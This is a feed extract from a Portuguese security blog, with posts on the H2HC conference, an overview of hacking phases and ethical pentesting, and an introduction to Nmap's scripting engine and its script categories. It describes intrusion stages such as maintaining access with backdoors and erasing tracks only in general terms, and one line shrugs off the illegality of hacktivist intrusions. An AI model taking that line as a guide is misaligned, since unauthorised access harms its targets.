<li>Hardware hacking, sistemas embarcados e outros dispositivos eletrônicos</li>
<li>Exploração de dispositivos móveis, Symbian, P2K e tecnologia Bluetooth</li>
<li>Análise de vírus, worms e malwares em geral</li>
<li>Engenharia reversa</li>
<li>Rootkits</li>
<li>Segurança em ambientes Wi-Fi e VoIP</li>
<li>Informação sobre segurança em smartcard, RFID e similares</li>
<li>Abordagem técnica de sistemas operacionais alternativos</li>
<li>Ataques de negação de serviço e/ou contra-medidas</li>
<li>Aspectos de segurança em SCADA e ambientes industriais e redes &#8220;obscuras&#8221;</li>
<li>Criptografia</li>
<li>Lockpicking, trashing, Segurança fisica e exploração urbana</li>
<li>Internet, privacidade e Big Brother</li>
<li>Information warfare e espionagem industrial</li>
</ul>
<p style="text-align:left;" align="right">Aconselho fortemente o comparecimento de todos (que curtem o Hacking na sua forma legítima) ao evento, não só acrescentará conhecimento como lhe dará um networking essencial.</p>
<h2 id="watch-headline-title">Videocast do Coruja de TI &#8211; H2HC</h2>
<p style="text-align:left;" align="right"><span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2011/10/21/hackers-to-hackers-conference-h2hc/"><img src="http://img.youtube.com/vi/XWMgQHxpHXM/2.jpg" alt="" /></a></span></p>
<p style="text-align:left;" align="right">Um ótimo evento a todos!</p>
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		<title>Para se tornar um hacker&#8230;</title>
		<link>http://thekernel.wordpress.com/2010/12/28/para-se-tornar-um-hacker/</link>
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		<pubDate>Tue, 28 Dec 2010 23:40:55 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
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		<description><![CDATA[Para se tornar um hacker, você deve preencher os seguintes requisitos: Deve ser perito em programação e ter habilidades em redes. Deve estar familiarizado com a pesquisa de vulnerabilidade. Deve ter o domínio de diferentes técnicas de hacking. Ter conhecimento profundo de plataformas alvo, como Windows, Unix, Linux, entre outros&#8230; Conhecimento sobre a área de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=235&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h3><span style="color:#888888;">Para se tornar um hacker, você deve preencher os seguintes requisitos:</span></h3>
<h4><span style="color:#888888;"> </span></h4>
<ul>
<li><span style="color:#c0c0c0;">Deve ser perito em programação e ter habilidades em redes.</span></li>
<li><span style="color:#c0c0c0;">Deve estar familiarizado com a pesquisa de vulnerabilidade.</span></li>
<li><span style="color:#c0c0c0;">Deve ter o domínio de diferentes técnicas de hacking.</span></li>
<li><span style="color:#c0c0c0;">Ter conhecimento profundo de plataformas alvo, como Windows, Unix, Linux, entre outros&#8230;</span></li>
<li><span style="color:#c0c0c0;">Conhecimento sobre a área de segurança e questões relacionadas.</span></li>
</ul>
<p>Em outras palavras, você deve ser &#8220;<strong>altamente técnico</strong>&#8221; para lançar ataques sofisticados.</p>
<h3>O que é um pesquisador de vulnerabilidades(<em>Vulnerability Research</em>) ?</h3>
<p>Estudiso dinâmico de produtos e tecnologias(<em>redes, sistema operacionais, aplicativos&#8230;</em>), avalia e descobre vulnerabilidades.</p>
<h3>Que podem ser classificadas com base em:</h3>
<p>• Nível de <span style="color:#ff6600;">Gravidade</span> (<em>baixo, médio ou alto</em>)<br />
• Faixa de <span style="color:#ff0000;">Exploração</span> (<em>local ou remoto</em>)</p>
<h3>Por que os hackers precisam ser pesquisadores de vulnerabilidades ?</h3>
<ul>
<li> Para <strong>identificar</strong> e corrigir as vulnerabilidades da rede.</li>
<li>Para <strong>proteger</strong> a rede de ser atacada.</li>
<li>Para obter informações que ajudam a <strong>evitar</strong> problemas de segurança.</li>
<li>Para <strong>reunir</strong> informações sobre vírus, worms, rootkit&#8217;s&#8230;</li>
<li>Para encontrar pontos fracos na rede e para <strong>alertar</strong> o administrador de rede antes de um ataque.</li>
<li>Para saber como se <strong>recuperar</strong> de um ataque.</li>
</ul>
<h3>Vulnerability Research Websites</h3>
<blockquote><p>www.securitytracker.com</p>
<p>www.microsoft.com/security</p>
<p>www.securiteam.com</p>
<p>www.packetstormsecurity.com</p>
<p>www.hackerstorm.com</p>
<p>www.hackerwatch.org</p>
<p>www.securityfocus.com</p>
<p>www.securitymagazine.com</p></blockquote>
<h3>Terminologia Essencial</h3>
<h4><span style="color:#ff0000;">Ameaça:</span></h4>
<p><span style="color:#ff0000;"><strong> </strong></span>• Uma ação ou evento que possa comprometer a segurança. Uma ameaça é uma potencial violação da segurança.</p>
<h4><span style="color:#ff0000;">Vulnerabilidade:</span></h4>
<p>• Existência de um erro ou fraqueza na execução que pode levar a um evento inesperado e indesejável e comprometer a segurança do sistema.</p>
<h4><span style="color:#ff0000;">Alvo:</span></h4>
<p><span style="color:#ff0000;"> </span>• Um sistema, produto ou componente que é identificado e submetido à umaa avaliação da segurança.</p>
<h4><span style="color:#ff0000;">Ataque:</span></h4>
<p><span style="color:#ff0000;"><strong> </strong></span>• Um ataque à segurança do sistema que é derivado de uma ameaça inteligente. Um ataque é qualquer ação que viola a segurança.</p>
<h4><span style="color:#ff0000;">Exploit:</span></h4>
<p><span style="color:#ff0000;"><strong> </strong></span>• Uma maneira de violar a segurança de um sistema através de uma vulnerabilidade.</p>
<p>Qualquer evento hacking irá afetar um ou mais elementos essenciais de segurança.</p>
<h3>Segurança repousa sobre a <span style="color:#888888;"><strong>confidencialidade</strong></span>, <span style="color:#999999;"><strong>autenticidade</strong></span>, <span style="color:#808080;"><strong>integridade</strong></span> e <span style="color:#000000;"><strong>disponibilidade</strong></span>.</h3>
<h4><span style="color:#ff6600;"><strong>Confidencialidade</strong></span></h4>
<p>• A ocultação de informações ou recursos.</p>
<h4><span style="color:#ff6600;"><strong>Autenticidade</strong></span></h4>
<p>• A identificação e a garantia da origem da informação.</p>
<h4><span style="color:#ff6600;"><strong>Integridade</strong></span></h4>
<p>• A confiabilidade dos dados ou de recursos em termos de prevenção inadequada e alterações não autorizadas.</p>
<h4><span style="color:#ff6600;"><strong>Disponibilidade</strong></span></h4>
<p>• A habilidade de usar as informações desejadas ou recurso.</p>
<h3>Fases de um Pentest/Hacking Básico</h3>
<h4><span style="color:#c0c0c0;"><strong>Reconhecimento</strong></span></h4>
<p>• Ativo/Passivo</p>
<h4><span style="color:#c0c0c0;"><strong>Scanning</strong></span></h4>
<p><span style="color:#c0c0c0;"><strong> </strong></span>• Rede, serviços, aplicativos&#8230;</p>
<h4><span style="color:#c0c0c0;"><strong>Obter Acesso</strong></span></h4>
<p><span style="color:#c0c0c0;"><strong> </strong></span>• Nvel de Sistema Operacional.<br />
• Nível de Rede.<br />
• Nível de Aplicativo.</p>
<h4><span style="color:#c0c0c0;"><strong>Manutenção do Acesso</strong></span></h4>
<p>• Upload/alteração/baixar programas ou dados.</p>
<h4><span style="color:#c0c0c0;"><strong>Limpando Rastros</strong></span><br />
•</h4>
<h2>Fase 1 &#8211; Reconhecimento(<em>Reconnaissance</em>)</h2>
<p>Reconhecimento refere-se a fase preparatória onde um atacante procura <strong>reunir o máximo de informações possíveis</strong> sobre um alvo antes de lançar um ataque.</p>
<p>Fazer uma analogia ao ato de &#8220;<strong>sacudir as maçanetas das portas</strong>&#8221; para ver se alguém está observando e respondendo. Poderia ser o  futuro ponto de retorno, anotado para facilitar a entrada para um ataque, enquanto mais informações sobre o alvo é obitida em larga escala.</p>
<h4><strong>Tipos de Reconhecimento</strong></h4>
<p><strong> </strong>Reconhecimento passivo envolve adquirir informações <strong>sem</strong> interagir diretamente com o alvo.<br />
Reconhecimento ativo envolve a <strong>interação</strong> com o alvo diretamente por qualquer meio.</p>
<h2>Fase 2 &#8211; Exploração(<em>Scanning</em>)</h2>
<p>A fase de Scanning refere-se ao <strong>pré-ataque</strong>, quando o hacker varre a rede para obter informações específicas com base nas informações recolhidas durante a fase de reconhecimento.</p>
<p>Scanning inclui o uso de dialers, port scanners, network mapping, sweeping, vulnerability scanners, entre outros&#8230;</p>
<h2>Fase 3 &#8211; Ganhar acesso(<em>Gaining Access</em>)</h2>
<p>Obter o acesso refere-se à fase de <strong>penetração</strong>. O hacker <strong>explora a vulnerabilidade</strong> no sistema.</p>
<p>O ataque pode ocorrer através de uma LAN, internet, fraude, roubo ou furto. Exemplos incluem o buffer overflow, negação de serviço(DoS), seqüestro de sessão(<em>session hijacking</em>) e quebra de senhas(<em>password cracking</em>).</p>
<p>Fatores que influenciam incluem: Arquitetura e configuração do sistema alvo, o nível de habilidade do agressor, e o nível inicial de acesso obtido.</p>
<h4><span style="color:#ff0000;"><strong>Risco:</strong></span> (<em>o mais</em>)Alto &#8211; O hacker pode ter acesso ao nível do sistema operacional, ao nível da aplicação ou de rede.</h4>
<h2>Fase 4 &#8211; Mantendo o Acesso (<em>Maintaining Access</em>)</h2>
<p>Manter o acesso refere-se à fase em que o hacker tenta <strong>manter a posse do seu sistema</strong>, nessa fase, (<em>logicamente</em>) o hacker já comprometeu o sistema, então o Hacker já pode fazer upload, download, manipular os dados, aplicativos e configurações no sistema.</p>
<p>Hackers podem fazer um hardening&lt;<span style="color:#000000;">http://pt.wikipedia.org/wiki/Hardening</span>&gt; no sistema (<em>o próprio sistema comprometido</em>), garantindo o seu acesso exclusivo com backdoors, rootkits, cavalos de Tróia, entre outros, com o sistema configurado e devidamente seguro somente ele terá o acesso.</p>
<h2>Fase 5 &#8211; Apagando Rastros (<em>Covering Tracks</em>) @não seja uma lesma <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </h2>
<p>Apagando os rastros referem-se às atividades que o hacker faz para<strong> ocultar seus crimes</strong>, as razões incluem a necessidade de permanência prolongada, o uso continuado dos recursos, eliminar evidências de um hacking, ou evitar a ação legal/judicial.</p>
<p>Exemplos incluem Esteganografia, túneis, alterando os arquivos de log, entre muito outros&#8230;</p>
<h3>Após isso, você pode tentar responder as seguintes perguntas:</h3>
<p><strong>• O que o intruso pode ver do meu sistema?</strong><br />
(fases de reconhecimento e exploração)</p>
<p><strong>• O que um intruso pode fazer com essa informação?</strong><br />
(obter acesso e manter o acesso)</p>
<p><strong>• Existe(<em>no sistema alvo</em>) alguma notificação no alvo sobre o sucesso ou tentativas de intrusão ?</strong><br />
(reconhecimento e apagando rastros)</p>
<p>Se você for contratado por qualquer organização, peça tudo que ele está tentando proteger, contra quem/o que, quais recursos e quanto está disposto a pagar a fim de ter essa/uma proteção.</p>
<h3>Tipos de Ataques</h3>
<p>Existem várias maneiras de um invasor obter acesso à um sistema. O atacante deve ser capaz de explorar uma fraqueza ou vulnerabilidade em um sistema.</p>
<p><strong>Tipos:</strong><br />
Ataques ao <strong>Sistema Operacional</strong>, <strong>aplicação</strong>, <strong>código</strong>, <strong>configurações</strong> incorretas&#8230;</p>
<h3><span style="color:#ff0000;">1. Ataques ao Sistema Operacional</span></h3>
<p>Os sistemas operacionais atuais são de natureza complexa.<br />
Os sistemas operacionais executão vários serviços, portas, modos de acesso e exigem muitos ajustes para se manter seguro.<br />
A instalação padrão da maioria dos sistemas operacionais tem um grande número de serviços em execução e portas abertas.<br />
Aplicação de patches e hotfixes não são fáceis em redes complexas.<br />
Os atacantes procuram vulnerabilidades do sistema operacional para explorá-lo e ganhar acesso a um sistema de rede.</p>
<h3><span style="color:#ff0000;">2. Ataques a Aplicações</span></h3>
<p>Os desenvolvedores de software estão(<em>sempre</em>) em horários apertados para entregar os produtos no prazo.<br />
Extreme Programming está em ascensão na metodologia de engenharia de software.<br />
Os aplicativos de software vem com toneladas de funcionalidades e características.<br />
Não existe tempo o suficiente para realizar um teste completo antes de liberar os produtos.<br />
A segurança é muitas vezes é deixada para depois, e geralmente entregue como um componente &#8220;add-on&#8221;.<br />
Verificação de erros pobres ou inexistentes em aplicações leva a &#8220;ataques de estouro de buffer&#8221;.</p>
<h3><span style="color:#ff0000;">3. Ataques ao Código</span></h3>
<p>Por que reinventar a roda quando você pode comprar bibliotecas e código?<br />
Quando você instala um sistema operacional/aplicativo, ele vem com toneladas de scripts de exemplo para tornar a vida de um administrador mais fácil.</p>
<h3><span style="color:#ff0000;">4. Ataques à Configurações Incorretas</span></h3>
<p>Sistemas que deveriam ser completamente seguros são hackeados porque não foram configurados corretamente.<br />
Os sistemas são complexos e o administrador não tem as habilidades ou recursos necessários para resolver o problema.<br />
O Administrador vai criar uma configuração simples e que funciona. Só lembrando, que o simples em TI está totalmente longe de ser seguro.<br />
A fim de maximizar suas chances de configurar uma máquina corretamente, remova quaisquer serviços ou software desnecessários.</p>
<h3>Como Conduzir um Hacking (<em>ético</em>)</h3>
<p><span style="color:#ff6600;"><strong><strong>Etapa</strong> 1: </strong></span>Fale com o seu cliente sobre as <strong>necessidades</strong> de testes.<br />
<span style="color:#ff6600;"><strong><strong>Etapa</strong> 2: </strong></span><strong>Preparar</strong> documentos NDA e peça ao cliente assiná-lo.<br />
<span style="color:#ff6600;"><strong><strong>Etapa</strong> 3: </strong></span>Preparar uma equipe de hacking e elaborar <strong>cronograma</strong> de testes.<br />
<span style="color:#ff6600;"><strong><strong>Etapa</strong> 4: </strong></span>Realizar o <strong>teste</strong>.<br />
<span style="color:#ff6600;"><strong>Etapa 5: </strong></span>Analise os <strong>resultados</strong> e prepare um relatório.<br />
<span style="color:#ff6600;"><strong><strong><strong>Etapa</strong></strong> 6: </strong></span>Entregue o <strong>relatório</strong> ao cliente.</p>
<h3>Ethical Hacking Testing</h3>
<p>Existem diferentes formas de testes de segurança. Exemplos incluem a varredura de vulnerabilidades, hacking ético e testes de penetração(<em>pentest</em>)</p>
<h3>Abordagens para o teste são mostrados abaixo:</h3>
<h3><span style="color:#000000;"><strong>Black box</strong></span></h3>
<p><span style="color:#000000;"><strong> </strong></span>• Com <strong>nenhum</strong> conhecimento prévio da infra-estrutura a ser testada.</p>
<h3><span style="color:#ffffff;"><strong>White box</strong></span></h3>
<p><span style="color:#ffffff;"><strong> </strong></span>• Com um conhecimento <strong>completo</strong> da infra-estrutura de rede a ser testada.</p>
<h3><span style="color:#808080;"><strong>Gray box</strong></span></h3>
<p><span style="color:#808080;"><strong> </strong></span>• Também conhecido como teste interno. Ela examina a extensão do acesso por <strong>dentro</strong> da rede.</p>
<h3>Relatório(Report):</h3>
<p>• Detalhes dos resultados da atividade hacker, combinando-a contra o horário de trabalho determinada antes da fase de conduta do teste.<br />
• As vulnerabilidades são detalhadas, medidas e prevenções são sugeridas. O Report é geralmente entregue em formato impresso, por razões de segurança.</p>
<h3>As questões a considerar:</h3>
<p>• Equipe, sensibilidade da informação, cláusula de Confidencialidade no contrato legal (<em>entregando a informação certa à pessoa certa</em>), a integridade da avaliação.</p>
<h3>Hacktivismo</h3>
<p>Em tempos de <strong>Wikleaiks</strong>&lt;<span style="color:#000000;">pt.wikipedia.org/wiki/WikiLeaks</span>&gt; vale umas linhas sobre hacktivismo.</p>
<p>Refere-se à idéia de &#8220;hacking&#8221; com ou <strong>por uma causa</strong>.<br />
Constituído por hackers, com uma agenda social ou política.<br />
Destina-se a enviar uma mensagem através de sua atividade &#8220;hacking&#8221; e ganhar visibilidade para sua causa.<br />
Objetivos comuns incluem agências governamentais, empresas multinacionais, ou qualquer outra entidade identificada como nociva ou injustiçada/enganda por esses grupos ou indivíduos.<br />
Se é um crime ganhar acesso não autorizado, não importa, o que vale é a intenção.</p>
<h3>Classes de Hackers</h3>
<h3><span style="color:#000000;"><strong>Black Hats</strong></span></h3>
<p><strong> </strong>• Indivíduos com habilidades extraordinárias(<em>não somente em TI</em>), recorrendo a atividades maliciosas ou <strong>destrutivas</strong>. Também conhecido como crackers(<em>ninguém mais usa isso</em>).</p>
<h3><span style="color:#ffffff;"><strong>White Hats</strong></span></h3>
<p><strong> </strong>• Os indivíduos que tem habilidades de hacker e o usa para fins <strong>defensivos</strong>. Também conhecido como analistas de segurança.</p>
<h3><span style="color:#808080;"><strong>Gray Hats</strong></span></h3>
<p>• Pessoas que trabalham tanto <strong>ofensivamente</strong> e <strong>defensivamente</strong> em vários momentos.</p>
<p>Ultimo post do ano termina com uma frase de Neil_Armstrong: &#8220;<span style="text-decoration:underline;"><strong>Este é um pequeno passo para um homem, mas um grande salto para a humanidade</strong></span>&#8220;.</p>
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		<title>Introdução ao Nmap Scripting Engine [NSE]</title>
		<link>http://thekernel.wordpress.com/2010/11/23/introducao-ao-nmap-scripting-engine-nse/</link>
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		<pubDate>Tue, 23 Nov 2010 23:47:01 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
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		<description><![CDATA[O Nmap Scripting Engine(NSE) utiliza a linguagem de programação incorporada chamada Lua(http://www.lua.org/) para criação de scripts que rodam em paralelo em um scan com Nmap, a linguagem esta bem documentada, o que torna mais fácil o aprendizado da linguagem. Alguns pontos sobre a linguagem: Criado no Brasil em 1993, ainda em desenvolvimento. Manual disponível gratuitamente [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=171&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>O Nmap Scripting Engine(<strong>NSE</strong>) utiliza a linguagem de programação incorporada chamada Lua(<a title="Site Lua" href="//www.lua.org/">http://www.lua.org/</a>) para criação de scripts que rodam em paralelo em um scan com Nmap,  a linguagem esta bem documentada, o que torna mais fácil o aprendizado da linguagem. Alguns pontos sobre a linguagem:</p>
<ul>
<li>
<h4>Criado no Brasil em 1993, ainda em desenvolvimento.</h4>
</li>
<li>
<h4>Manual disponível gratuitamente online.</h4>
</li>
<li>
<h4>Conhecido por seu uso na indústria dos games: World of Warcraft, Crysis, etc.</h4>
</li>
<li>
<h4>Security Tools: Nmap, Wireshark, Snort 3.0</h4>
</li>
<li>
<h4>Sem buffer overflows, format string vulns, etc.</h4>
</li>
<li>
<h4>Portável: Windows, Linux, Mac, BSD, etc.</h4>
</li>
</ul>
<p>O NSE se tornou uma funcionalidade quase que indispensável do Nmap pelo seu poder e flexibilidade, permitindo a escrita e compartilhamento desses scripts, escrevendo seus próprios para atenderem às suas necessidades.</p>
<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2010/11/23/introducao-ao-nmap-scripting-engine-nse/"><img src="http://img.youtube.com/vi/8tMo0rKy39Q/2.jpg" alt="" /></a></span>
<blockquote><p><span style="color:#ff0000;">Cuidado ao rodar scripts de terceiros, verifique se é confiável(<em>autor</em>) ou audite cuidadosamente o script.</span></p></blockquote>
<p>O NSE é ativado usando os parâmetros <strong>-sC</strong> ou  <strong>&#8211;script</strong>(<em>especifica um conjunto de scripts</em>) os resultados são integrados nas saídas normais e/ou personalizadas(<em>XML</em>) do Nmap. Alguns tipos de scripts são suportados: <strong>Prerule</strong>, <strong>Service</strong>, <strong>Host</strong> e <strong>Postrule </strong>scripts.</p>
<p><strong><span style="color:#ff0000;">-sC </span></strong>: Habilita os scripts mais comuns.<br />
<strong><span style="color:#ff0000;">- -script=</span> </strong>: Selecionar seus próprios scritps para execução, fornecendo categorias, nomes de arquivos de script ou nos nomes de diretórios com scripts que você quer executar. Ex. &#8211; -script=default<br />
<strong><span style="color:#ff0000;">-A</span></strong> : Exame agressivo.</p>
<p>Pode se personalizar alguns scripts, fornecendo argumentos para eles através da opção <strong>&#8211;script-args</strong>, outras opções como <strong>&#8211;script-trace</strong> e <strong>&#8211;script-updatedb</strong> são usadas apenas para depuração e desenvolvimento de scripts.</p>
<h3><strong>Tipos de Script e Fases</strong></h3>
<p><strong> </strong>NSE suporta quatro tipos de scripts, que se distinguem pelo tipo de alvos e fase de análise no qual eles são executados. Scripts individuais podem suportar múltiplos tipos de operação.</p>
<h4 style="padding-left:30px;"><strong><span style="color:#ff0000;">Prerule</span> scripts:</strong></h4>
<p style="padding-left:60px;">Esses scripts são executados <strong>antes</strong> de qualquer uma das fases de análise do Nmap, quando o Nmap  ainda não recolheu quaisquer informações sobre seus alvos.</p>
<h4 style="padding-left:30px;"><strong><span style="color:#ff0000;">Service</span> Scritps:</strong></h4>
<p style="padding-left:60px;">São relacionados a certas portas abertas(<em>serviços</em>) no host alvo, e os resultados serão incluidos ao lado da porta, na tabela de portas da saída/resultados do Nmap.</p>
<h4 style="padding-left:30px;"><strong><span style="color:#ff0000;">Host</span> Script:</strong></h4>
<p style="padding-left:60px;">Não rodam mais que uma vez em cada host alvo, um exemplo de host script é o <strong>smb-os-discovery</strong>, que coleta uma variedade de informações dos servidores SMB.</p>
<h4 style="padding-left:30px;"><strong><span style="color:#ff0000;">Postrule</span> scripts:</strong></h4>
<p style="padding-left:60px;">Esses scripts são executados <strong>após</strong> o Nmap ter scaneado todos seus alvos. Eles podem ser úteis para a formatação e apresentação de saída do Nmap.</p>
<p style="padding-left:60px;">&nbsp;</p>
<h3>O NSE possui as seguintes tarefas:</h3>
<ul>
<li>
<h4><strong> Descoberta de <span style="color:#ff6600;">Rede</span></strong></h4>
</li>
</ul>
<p style="padding-left:90px;">Incluem a busca de dados de whois baseada no domínio alvo, na consulta à <strong>ARIN</strong>, <strong>RIPE</strong> ou <strong>APNIC</strong> sobre o IP alvo, determinar a propriedade, realização de buscas por identd em portas abertas, consultas de SNMP e listagem de compartilhamento e serviços disponíveis de <strong>NFS</strong>/<strong>SMB</strong>/<strong>RPC</strong>.</p>
<ul>
<li>
<h4><strong> Detecção <strong>Sofisticada </strong>de <span style="color:#ff6600;">Versão</span></strong></h4>
</li>
</ul>
<p style="padding-left:90px;">O sistema de detecção de versão do Nmap é capaz de reconhecer milhares de serviços diferentes, através de seu sistema de correspondência baseado em assinaturas de provas e de expressões regulares, mas, pode não ser capaz de reconhecer tudo. Exemplo é a detecção de alguns serviços que exige duas provas independentes, pois a detecção de versão não é flexível o suficiente para tratar, por isso a detecção de versão, agora, chama o NSE para tratar de alguns serviços complicados. Links: <a href="http://nmap.org/man/pt_BR/man-version-detection.html">http://nmap.org/man/pt_BR/man-version-detection.html</a> <a href="http://nmap.org/man/pt_BR/man-os-detection.html">http://nmap.org/man/pt_BR/man-os-detection.html</a></p>
<ul>
<li style="padding-left:30px;">
<h4><strong>Detecção de <span style="color:#ff6600;">Vulnerabilidades</span></strong></h4>
</li>
</ul>
<p style="padding-left:90px;"><strong> </strong>Ainda que o Nmap não seja um examinador de vulnerabilidades(<a href="http://sectools.org/vuln-scanners.html">http://sectools.org/vuln-scanners.html</a>), o NSE pode tratar das verificações de vulnerabilidades complicadas. Muitos scripts(<a href="http://nmap.org/nsedoc/categories/vuln.html">http://nmap.org/nsedoc/categories/vuln.html</a>) de detecção de vulnerabilidades já estão disponíveis e ficam disponíveis à medida que são escritos.</p>
<ul>
<li style="padding-left:30px;">
<h4><strong>Detecção de <span style="color:#ff6600;">Backdoor</span></strong></h4>
</li>
</ul>
<p style="padding-left:90px;"><strong> </strong>Pouco tempo depois que o vírus MyDoom(<em>com backdoor que permite reentradas posteriores</em>) atingiu a internet, Jay Moran postou uma prova e uma assinatura de detecção de versão para o Nmap, de forma com que outros pudessem rapidamente examinar suas redes em busca de infecção pelo vírus. O NSE ajuda a detectar confiavelmente vírus e backdoors mais complexos.</p>
<ul>
<li style="padding-left:30px;">
<h4><strong>Exploração de <span style="color:#ff6600;">Vulnerabilidades</span></strong></h4>
</li>
</ul>
<p style="padding-left:90px;"><strong> </strong>O NSE pode ser usado não somente para encontrar como explorar as vulnerabilidades. A capacidade de se adicionar scripts personalizados de exploração pode ser valiosa em muitos casos, em particular no penetration test. Segundo Fyodor, mesmo com essa personalização eles não(<span style="color:#ff0000;"><strong>why not?</strong></span>) planejam transformar o Nmap em uma estrutura de exploração como o Metasploit.</p>
<p>Como a capacidade do ser humano de inventar sempre há novos scripts interessantes, e é isso que esperam que usuários do Nmap façam.</p>
<h3><strong>Categorias de Scripts</strong></h3>
<p>Os scripts NSE definem uma lista de categorias a que pertencem. As <span style="color:#ff0000;">categorias</span> são:</p>
<ul>
<li style="padding-left:30px;"><strong>Auth</strong>(de autenticação)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Default</strong>(omissivos)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Discovery</strong>(de descoberta)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>External</strong>(externos)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Intrusive</strong>(intrusivos)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Malware</strong></li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Safe</strong>(seguros)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Version</strong>(de versão)</li>
</ul>
<ul>
<li style="padding-left:30px;"><strong>Vul</strong>(de vulnerabilidade)</li>
</ul>
<p>Os nomes das categorias não são <span style="text-decoration:underline;">case sensitive</span>.</p>
<h3><strong>Descrição de cada categoria</strong></h3>
<h4><span style="color:#ff6600;"><strong>auth</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Ataque de força bruta, esses scripts tentam determinar as credenciais de autenticação no sistema alvo, os exemplos incluem <strong>snmp-brute</strong>, <strong>http-auth</strong> e<strong> ftp-anom</strong>.</p>
<h4><span style="color:#ff6600;"><strong>default</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Estes scripts são o conjunto padrão e são executados quando se usa as opções <strong>-sC</strong> ou <strong>-A</strong> ao invés de listar os scripts com <strong>&#8211;script</strong>. Muitos fatores são considerados na decisão de se um script deverá ser executado por padrão:</p>
<p style="padding-left:60px;"><span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Velocidade</span></strong></span><br />
Terminar rapidamente, o que exclui força bruta, web spiders ou quaisquer outros que levem muito tempo para examinar um único serviço.<br />
<span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Utilidade</span></strong></span><br />
Exames padrões precisam produzir informações valiosas e que possam servir de base para ações.<br />
<span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Verbosidade</span></strong></span><br />
Precisa ser legível e concisa.<br />
<span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Confiabilidade</span></strong></span><br />
Se o script estiver frequentemente errado, exemplos como <strong>sniffer-detect</strong> e o <strong>sql-injection</strong> ele não pertencerá à categoria default.<br />
<span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Intrusividade</span></strong></span><br />
Quanto mais intrusivo(<em>uso de recursos do sistema remoto, DoS, percebidos como ataque pelo administradores</em>) for um script menos ele se encaixará na categoria default.<br />
<span style="color:#ff0000;"><strong><span style="text-decoration:underline;">Privacidade</span></strong></span><br />
Quanto mais invasivo(<em>whois, chaves SSH e SSL fracas&#8230;</em>) for, menos adequado ele será para inclusão na categoria default.</p>
<h4><span style="color:#ff6600;"><strong>discovery</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Tentam descobrir mais sobre a rede, os exemplos incluem registros públicos, dispositivos habilitados ao SNMP, serviços de diretórios, <strong>html-title</strong>(<em>obtém o título do caminho raiz de websites</em>), o <strong>smb-enum-shares</strong>(<em>enumera compartilhamentos Windows</em>) e o s<strong>nmp-sysdescr</strong>(<em>extrai detalhes do sistema através do SNMP</em>).</p>
<h4><span style="color:#ff6600;"><strong>dos</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Script dessa categoria, causam denial of service.</p>
<h4><span style="color:#ff6600;"><strong>exploit</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Esses scripts tem o objetivo de explorar <strong>ativamente</strong> algumas vulnerabilidades.</p>
<h4><span style="color:#ff6600;"><strong>external</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Envio de dados a base de dados de terceiros, um exemplo é o whois, que faz uma conexão a servidores de whois.</p>
<h4><span style="color:#ff6600;"><strong>fuzzer</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Esta categoria contém scripts que são projetados para enviar ao servidor entradas inesperadas ou randômicas. Embora esta técnica possa ser útil para encontrar erros e descobrir vulnerabilidades em software, é simultaneamente lento e devoradora de banda. Um exemplo de um script nesta categoria é<strong> dns-fuzz</strong>.</p>
<h4><span style="color:#ff6600;"><strong>intrusive</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Projetados para travar o sistema ou serviço alvo, usam recursos significativos e são facilmente percebidos como um ataque, pelos administradores. Exemplos são: <strong>https-open-proxy</strong>(<em>tenta usar o servidor alvo como proxy de HTTP</em>) e o <strong>snmp-brute</strong>(<em>adivinhar string de comunidade SNMP de um dispositivo, usando valores comuns, como, public, private, cisco&#8230;</em>).</p>
<h4><span style="color:#ff6600;"><strong>malware</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Busca por infecções de malware ou backdoor&#8217;s na plataforma alvo. Exemplo: <strong>smtp-strangeport</strong> verifica serviços SMTP rodando em números de porta incomuns e o <strong>auth-spoof</strong>, detectam servidores de simulação de identd que fornecem uma resposta falsa antes de receber uma consulta.</p>
<h4><span style="color:#ff6600;"><strong>safe</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Scripts que não foram projetados para derrubar/indisponibilizar serviços. Exemplos: <strong>ssh-hostkey</strong> e o <strong>html-title</strong>.</p>
<h4><span style="color:#ff6600;"><strong>version</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>São selecionados para execução somente se a detecção de versão(<span style="color:#ff6600;"><em><strong>-sV</strong></em></span>) for inclusa, os scripts nesta categoria são uma extensão à funcionalidade de detecção de versão.</p>
<h4><span style="color:#ff6600;"><strong>vuln</strong></span></h4>
<p style="padding-left:30px;"><strong> </strong>Checam vulnerabilidade especificas conhecidas. Exemplo: <strong>realvnc-auth-bypass</strong> e o <strong>xampp-default-auth</strong>.</p>
<h3><strong>Argumentos de linha de comando</strong></h3>
<p><strong> </strong>Estes são os cinco argumentos de linha de comando específicos de exames por script:<br />
<strong> </strong></p>
